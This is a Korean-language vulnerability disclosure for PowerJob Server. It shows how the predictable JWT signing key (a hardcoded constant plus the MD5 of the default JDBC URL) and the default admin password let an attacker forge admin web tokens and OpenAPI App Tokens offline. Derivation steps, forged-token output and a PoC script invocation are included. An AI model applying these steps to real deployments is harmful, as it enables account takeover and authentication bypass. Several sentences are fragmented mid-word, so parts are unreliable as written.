
PowerJob Server의 심각한 JWT 서명 키 예측 가능성 취약점을 시연하며, 오프라인 키 유도 및 토큰 위조를 통해 관리자 계정 탈취와 OpenAPI 인증 우회를 가능하게 합니다.
PowerJob Server의 JWT(HS256) 서명 키는 하드코딩된 상수와 기본 JDBC URL의 MD5를 연결한 값을 BASE64 디코딩하여 파생됩니다(DefaultSecretProvider / JwtServiceImpl). JDBC URL은 기본 배포 환경(docker-compose / application-daily.properties)에서 공개되어 있으므로, 공격자는 완전히 오프라인에서 키를 파생하여 모든 사용자(관리자 포함)에 대한 유효한 JWT를 위조할 수 있습니다. OpenAPI App Token 역시 위조하여 OpenAPI 인증을 우회할 수 있습니다.
application-daily.properties에 jdbc:mysql://powerjob-mysql:3306/powerjob-daily?...가 평문으로 노출됨powerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45: return md5(environment.getProperty("spring.datasource.core.jdbc-url"));powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102: 하드코딩된 BASE_SECURITY 상수; genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyForusername/encryptedToken)에는 PWJB 계정에 대한 2차 검사(DigestUtils.rePassword(password, username))가 있지만:
appId/password/encryptType)은 직접 위조하여 인증을 우회할 수 있음(OpenApiSecurityServiceImpl:87-105);환경: 로컬 PowerJob 서버(127.0.0.1:7700, JDBC URL jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true). 공격자는 공개 정보만으로 모든 것을 오프라인에서 파생합니다:
# ① encryptedToken(= rePassword(password, username)) 파생; 기본 비밀번호로 계산 가능
rePassword("powerjob_admin", "ADMIN")
= ADMIN_b82a450701f6a71723fb99931fe35e18_b # DB user_info.token_login_verify_info와 바이트 단위로 일치 ✅
# ② HS256 서명 키 파생 = BASE64(BASE_SECURITY + MD5(JDBC_URL))
secret = BASE_SECURITY + md5(jdbc_url) # 101바이트 키
# ③ ADMIN 웹 JWT 위조(클레임: username=PWJB_ADMIN, encryptedToken=①의 결과, sub=PowerJob)
실제 결과(위조된 토큰이 인증 통과):
[*] /namespace/list 토큰 없음 :
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
[*] /namespace/list 위조된 JWT :
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}
→ 위조된 토큰이 관리자로 인증되어 실제 데이터를 반환합니다(기준은 UserNotLoggedIn으로 거부됨).
핵심 사항:
encryptedToken이 DB에 저장된 값과 바이트 단위로 일치합니다(ADMIN_b82a450701f6a71723fb99931fe35e18_b).BASE_SECURITY + 공개 기본 JDBC URL의 MD5에 의해 결정됩니다 → 자격 증명 없이 오프라인에서 파생 가능.encryptedToken은 기본 비밀번호(powerjob_admin, PJ-02 발견)로 오프라인에서 재계산 가능 → 완전한 관리자 계정 탈취.encryptedToken 불일치로 웹 토큰 위조가 차단되지만, OpenAPI App Token 경로(클레임 appId/password/encryptType, OpenApiSecurityServiceImpl:87-105)는 여전히 독립적으로 위조하여 OpenAPI 인증을 우회할 수 있습니다.기본 비밀번호를 변경하더라도 다른 공격 경로를 통해 취약점이 지속됩니다:
encryptedToken 을 획득한 공격자는 해당 토큰을 예측 가능한 서명 키와 결합하여 해당 특정 사용자의 JWT를 위조할 수 있습니다.encryptedToken이 포함되므로 encryptedToken 불일치 문제를 완전히 우회합니다.PoC: powerjob_jwt_key.py 192.168.49.128:7700
encryptedToken 2차 검사를 적용하십시오.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Critical(기본 비밀번호 / OpenAPI와 결합 시)